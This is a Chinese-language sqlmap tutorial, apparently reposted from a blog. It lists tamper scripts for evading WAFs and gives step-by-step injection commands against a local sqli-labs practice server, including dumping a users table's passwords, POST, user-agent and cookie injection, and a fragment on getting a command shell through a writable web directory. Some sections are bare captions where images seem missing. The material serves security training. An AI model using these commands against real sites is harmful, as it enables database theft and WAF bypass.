SQLMAP 超详细使用教程


脚本信息
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
apostrophemask.py 用UTF-8全角字符替换单引号字符apostrophenullencode.py 用非法双字节unicode字符替换单引号字符appendnullbyte.py 在payload末尾添加空字符编码base64encode.py 对给定的payload全部字符使用Base64编码between.py 分别用“NOT BETWEEN 0 AND #”替换大于号“>”,“BETWEEN # AND #”替换等于号“=”bluecoat.py 在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等于号“=”chardoubleencode.py 对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)charencode.py 对给定的payload全部字符使用URL编码(不处理已经编码的字符)charunicodeencode.py 对给定的payload的非编码字符使用Unicode URL编码(不处理已经编码的字符)concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例equaltolike.py 用“LIKE”运算符替换全部等于号“=”greatest.py 用“GREATEST”函数替换大于号“>”halfversionedmorekeywords.py 在每个关键字之前添加MySQL注释ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例lowercase.py 用小写值替换每个关键字字符modsecurityversioned.py 用注释包围完整的查询modsecurityzeroversioned.py 用当中带有数字零的注释包围完整的查询multiplespaces.py 在SQL关键字周围添加多个空格nonrecursivereplacement.py 用representations替换预定义SQL关键字,适用于过滤器overlongutf8.py 转换给定的payload当中的所有字符percentage.py 在每个字符之前添加一个百分号randomcase.py 随机转换每个关键字字符的大小写randomcomments.py 向SQL关键字中插入随机注释securesphere.py 添加经过特殊构造的字符串sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logsspace2comment.py 用“/**/”替换空格符space2dash.py 用破折号注释符“--”其次是一个随机字符串和一个换行符替换空格符space2hash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符space2morehash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符space2mssqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符space2mssqlhash.py 用磅注释符“#”其次是一个换行符替换空格符space2mysqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符space2mysqldash.py 用破折号注释符“--”其次是一个换行符替换空格符space2plus.py 用加号“+”替换空格符space2randomblank.py 用一组有效的备选字符集当中的随机空白符替换空格符unionalltounion.py 用“UNION SELECT”替换“UNION ALL SELECT”unmagicquotes.py 用一个多字节组合%bf%27和末尾通用注释一起替换空格符 宽字节注入varnish.py 添加一个HTTP头“X-originating-IP”来绕过WAFversionedkeywords.py 用MySQL注释包围每个非函数关键字versionedmorekeywords.py 用MySQL注释包围每个关键字xforwardedfor.py 添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF |

选择web服务器的可写目录

我在本地测试,节省时间,我选择2 ,自定义路径,然后把路径输入在下面

执行命令后的返回结果

以下关卡均可用get型的方法,常规注入
|
1
2
3
4
5
|
step1:sqlmap -u ["URL"] //测试是否存在注入step2:sqlmap -u ["URL"] -current-db //查询当前数据库step3:sqlmap -u ["URL"] -D ["数据库名"] --tables //查询当前数据库中的所有表step4:sqlmap -u ["URL"] -D ["数据库名"] -T ["表名"] --columns //查询指定库中指定表的所有列(字段)step5:sqlmap -u ["URL"] -D ["数据库名"] -T ["表名"] -C ["列名"] --dump //打印出指定库中指定表指定列中的字段内容 |
|
1
|
sqlmap -u http://192.168.0.6/sqli-labs-master/Less-1/?id=1 |

post型:

或者直接

加上post提交的参数

语法:sqlmap -r ["请求包的txt文件"]
|
1
|
sqlmap -r "/root/.sqlmap/post.txt" |

sql-labs -less1~sql-labs-less9
|
1
|
sqlmap -u "http://192.168.0.6/sqli-labs-master/Less-1/?id=1" --current-db |

获取指定数据库的表名:
|
1
|
sqlmap -u "192.168.0.6/sqli-labs-master/Less-1/?id=1" -D security --tables |

获取指定数据库指定表中的字段:
|
1
|
sqlmap -u "192.168.0.6/sqli-labs-master/Less-1/?id=1" -D security -T users --columns |

获取指定数据库指定表的指定字段的字段内容:
|
1
|
sqlmap -u "192.168.0.6/sqli-labs-master/Less-1/?id=1" -D security -T users -C password --dump |

sql-labs-less10
|
1
|
sqlmap -u "http://192.168.0.6/sqli-labs-master/Less-10/?id=1" --current-db |

提升等级 -level 2
|
1
|
sqlmap -u "http://192.168.0.6/sqli-labs-master/Less-10/?id=1" -level 2 --current-db |

sql-labs-less11~less17常规 POST 注入
|
1
2
3
4
5
|
step1:sqlmap -r ["请求头文本"] //测试是否存在注入step2:sqlmap -r ["请求头文本"] --current-db //查询当前数据库step3:sqlmap -r ["请求头文本"] -D ["数据库名"] --tables //查询当前数据库的所有表step4:sqlmap -r ["请求头文本"] -D ["数据库名"] -T ["表名"] --columns //查询指定库指定表的所有列step5:sqlmap -r ["请求头文本"] -D ["数据库名"] -T ["表名"] -C ["列名"] --dump //打印出指定库指定表指定列的所有字段内容 |


或者不加 * 号,调用 --level参数,将等级调至 3级,只有等级为 3级即以上时才能对 user-agent进行注入
|
1
|
sqlmap -r "/root/.sqlmap/post.txt" -level 3 |






|
1
|
sqlmap -u "http://192.168.0.6/sqli-labs-master/Less-20/index.php" --cookie "pma_lang=zh_CN;pma_mcrypt_iv=AoXpKxU5KcY%3D;pmaUser-1=7%2FwV%2BDOfbmI%3D;uname=admin;" --level 2 |


转载:https://www.cnblogs.com/Hunter-01001100/p/12377393.html

浙公网安备 33010602011771号